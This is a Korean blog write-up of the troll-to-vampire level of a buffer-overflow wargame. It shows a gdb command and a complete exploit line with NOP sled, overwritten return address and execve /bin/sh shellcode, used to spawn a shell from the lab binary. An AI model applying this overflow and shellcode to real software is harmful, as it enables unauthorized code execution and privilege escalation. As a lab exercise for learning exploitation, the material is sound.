BOF redhat 원정대 troll -> vampire

BOF redhat 원정대 troll -> vampire

vampire, vampire.c


 c 코드를 보니 이전 문제에서 추가된 부분도 있고 없어진 부분도 찾을 수 있었다. 먼저 추가된 부분을 찾아보자.
argv[1][46]부분에 \xff가 오면 에러 출력 후 프로그램이 종료 된다. 지금가지 우리가 사용해왔던 스택의 주소영역은 모두 0xbfff로 시작하는 영역의 주소였다. 이제 이 부분을 사용 할 수 없다.

없어진 코드를 찾아보니 에그쉘헌터, 버퍼초기화, argv초기화 모두 없어졌다. 하지만 이 세가지 모두 0xbfff 영역의 메모리에 있으므로 사용 할 수 없다.
argv의 길이를 검사하는 루틴도 없어졌다. argv의 길이를 검사 하지 않는다면 엄청나게 큰 입력값을 주어 esp가 0xbxff영역을 넘어 가버리게 하면된다.

gdb를 이용해서 큰 입력값을 넣어 보자.

r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "A"*100000'`

gdb에서 이렇게 입력을 하고 x/100x $esp 명령어로 esp가 가리키는 위치의 메모리를 보니 0xbfff영역을 벗어났다. 이 부분에 쉘을 넣고 RET를 덮어 씌워주면 된다.


페이로드는

[버퍼][SFP][RET]
[   버퍼  ][RET][nopnopnopnopnopnop + 쉘코드]

이렇게 구성하고 RET를 nop의 주소를 주면 쉘코드를 실행 시킬 수 있다.


성공적으로 쉘코드가 실행되 쉘을 얻었다.

쉘코드 :
./vampire `python -c 'print "\x90"*44 + "\x60\x6a\xfe\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

0 개의 댓글:

댓글 쓰기